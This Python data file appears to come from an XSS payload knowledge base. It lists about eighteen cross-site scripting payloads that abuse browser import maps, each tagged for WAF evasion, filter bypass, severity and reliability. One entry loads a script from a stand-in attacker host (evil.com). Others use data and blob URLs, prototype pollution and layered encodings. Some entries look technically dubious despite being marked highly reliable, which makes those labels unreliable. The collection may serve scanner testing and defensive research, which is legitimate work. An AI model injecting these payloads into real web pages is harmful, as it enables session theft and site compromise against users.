#!/usr/bin/env python3
"""
Project: BRS-KB (BRS XSS Knowledge Base)
Company: EasyProTech LLC (www.easypro.tech)
Dev: Brabus
Date: 2025-12-27 UTC
Status: Created
Telegram: https://t.me/EasyProTech

Import Maps XSS Payloads - Part 1
Basic techniques: data URLs, blob URLs, javascript protocol, external URLs, scopes, nested imports, and dynamic imports.
"""

from ..models import PayloadEntry


IMPORT_MAPS_PAYLOADS_PART1 = {
    # ============================================================
    # IMPORT MAPS DATA URL INJECTION
    # ============================================================
    "import-map-data-url-basic": PayloadEntry(
        payload='<script type="importmap">{"imports":{"x":"data:text/javascript,alert(1)"}}</script><script type="module">import"x"</script>',
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.8,
        description="Import Maps with data URL",
        tags=["import-map", "data-url", "module", "2024"],
        bypasses=["module_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "edge"],
        reliability="high",
    ),
    "import-map-data-url-base64": PayloadEntry(
        payload='<script type="importmap">{"imports":{"x":"data:text/javascript;base64,YWxlcnQoMSk="}}</script><script type="module">import"x"</script>',
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.8,
        description="Import Maps with base64 data URL",
        tags=["import-map", "data-url", "base64", "2024"],
        bypasses=["base64_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "edge"],
        reliability="high",
    ),
    "import-map-data-url-html": PayloadEntry(
        payload='<script type="importmap">{"imports":{"x":"data:text/html,<script>alert(1)</script>"}}</script><script type="module">import"x"</script>',
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.8,
        description="Import Maps with HTML data URL",
        tags=["import-map", "data-url", "html", "2024"],
        bypasses=["html_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "edge"],
        reliability="high",
    ),
    "import-map-blob-url": PayloadEntry(
        payload='<script type="importmap">{"imports":{"x":"blob:javascript:alert(1)"}}</script><script type="module">import"x"</script>',
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.8,
        description="Import Maps with blob URL",
        tags=["import-map", "blob-url", "2024"],
        bypasses=["blob_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "edge"],
        reliability="high",
    ),
    "import-map-javascript-protocol": PayloadEntry(
        payload='<script type="importmap">{"imports":{"x":"javascript:alert(1)"}}</script><script type="module">import"x"</script>',
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.8,
        description="Import Maps with javascript: protocol",
        tags=["import-map", "javascript-protocol", "2024"],
        bypasses=["protocol_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "edge"],
        reliability="high",
    ),
    "import-map-external-url": PayloadEntry(
        payload='<script type="importmap">{"imports":{"x":"https://evil.com/xss.js"}}</script><script type="module">import"x"</script>',
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.8,
        description="Import Maps with external URL",
        tags=["import-map", "external", "2024"],
        bypasses=["url_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "edge"],
        reliability="high",
    ),
    "import-map-scopes": PayloadEntry(
        payload='<script type="importmap">{"scopes":{"https://example.com/":{"x":"data:text/javascript,alert(1)"}}}</script><script type="module">import"x"</script>',
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.8,
        description="Import Maps with scopes",
        tags=["import-map", "scopes", "2024"],
        bypasses=["scope_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "edge"],
        reliability="high",
    ),
    "import-map-nested": PayloadEntry(
        payload='<script type="importmap">{"imports":{"x":{"y":"data:text/javascript,alert(1)"}}}</script><script type="module">import"x/y"</script>',
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.8,
        description="Import Maps with nested imports",
        tags=["import-map", "nested", "2024"],
        bypasses=["nested_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "edge"],
        reliability="high",
    ),
    "import-map-dynamic-import": PayloadEntry(
        payload='<script type="importmap">{"imports":{"x":"data:text/javascript,alert(1)"}}</script><script type="module">import("x")</script>',
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.8,
        description="Import Maps with dynamic import()",
        tags=["import-map", "dynamic-import", "2024"],
        bypasses=["import_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "edge"],
        reliability="high",
    ),
    "import-map-import-star": PayloadEntry(
        payload='<script type="importmap">{"imports":{"*":"data:text/javascript,alert(1)"}}</script><script type="module">import"*"</script>',
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.8,
        description="Import Maps with wildcard import",
        tags=["import-map", "wildcard", "2024"],
        bypasses=["wildcard_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "edge"],
        reliability="high",
    ),
    "import-map-json-injection": PayloadEntry(
        payload='<script type="importmap">{"imports":{"x":"data:text/javascript,alert(1)"},"x":"injected"}</script><script type="module">import"x"</script>',
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.8,
        description="Import Maps with JSON injection",
        tags=["import-map", "json-injection", "2024"],
        bypasses=["json_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "edge"],
        reliability="high",
    ),
    "import-map-prototype-pollution": PayloadEntry(
        payload='<script type="importmap">{"imports":{"__proto__":{"x":"data:text/javascript,alert(1)"}}}</script><script type="module">import"x"</script>',
        contexts=["html_content"],
        severity="critical",
        cvss_score=9.0,
        description="Import Maps with prototype pollution",
        tags=["import-map", "prototype-pollution", "2024"],
        bypasses=["prototype_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "edge"],
        reliability="medium",
    ),
    "import-map-constructor-pollution": PayloadEntry(
        payload='<script type="importmap">{"imports":{"constructor":{"prototype":{"x":"data:text/javascript,alert(1)"}}}}</script><script type="module">import"x"</script>',
        contexts=["html_content"],
        severity="critical",
        cvss_score=9.0,
        description="Import Maps with constructor pollution",
        tags=["import-map", "constructor-pollution", "2024"],
        bypasses=["constructor_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "edge"],
        reliability="medium",
    ),
    "import-map-unicode-escape": PayloadEntry(
        payload='<script type="importmap">{"imports":{"x":"data:text/javascript,\\u0061\\u006c\\u0065\\u0072\\u0074(1)"}}</script><script type="module">import"x"</script>',
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.8,
        description="Import Maps with Unicode escape",
        tags=["import-map", "unicode", "2024"],
        bypasses=["unicode_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "edge"],
        reliability="high",
    ),
    "import-map-hex-escape": PayloadEntry(
        payload='<script type="importmap">{"imports":{"x":"data:text/javascript,\\x61\\x6c\\x65\\x72\\x74(1)"}}</script><script type="module">import"x"</script>',
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.8,
        description="Import Maps with hex escape",
        tags=["import-map", "hex", "2024"],
        bypasses=["hex_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "edge"],
        reliability="high",
    ),
    "import-map-url-encoding": PayloadEntry(
        payload='<script type="importmap">{"imports":{"x":"data%3Atext%2Fjavascript%2Calert(1)"}}</script><script type="module">import"x"</script>',
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.8,
        description="Import Maps with URL encoding",
        tags=["import-map", "url-encoding", "2024"],
        bypasses=["encoding_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "edge"],
        reliability="high",
    ),
    "import-map-double-encoding": PayloadEntry(
        payload='<script type="importmap">{"imports":{"x":"data%253Atext%252Fjavascript%252Calert(1)"}}</script><script type="module">import"x"</script>',
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.8,
        description="Import Maps with double URL encoding",
        tags=["import-map", "double-encoding", "2024"],
        bypasses=["encoding_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "edge"],
        reliability="high",
    ),
    "import-map-html-entities": PayloadEntry(
        payload='<script type="importmap">{"imports":{"x":"data:text/javascript,&lt;script&gt;alert(1)&lt;/script&gt;"}}</script><script type="module">import"x"</script>',
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.8,
        description="Import Maps with HTML entities",
        tags=["import-map", "html-entities", "2024"],
        bypasses=["entity_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "edge"],
        reliability="high",
    ),
}
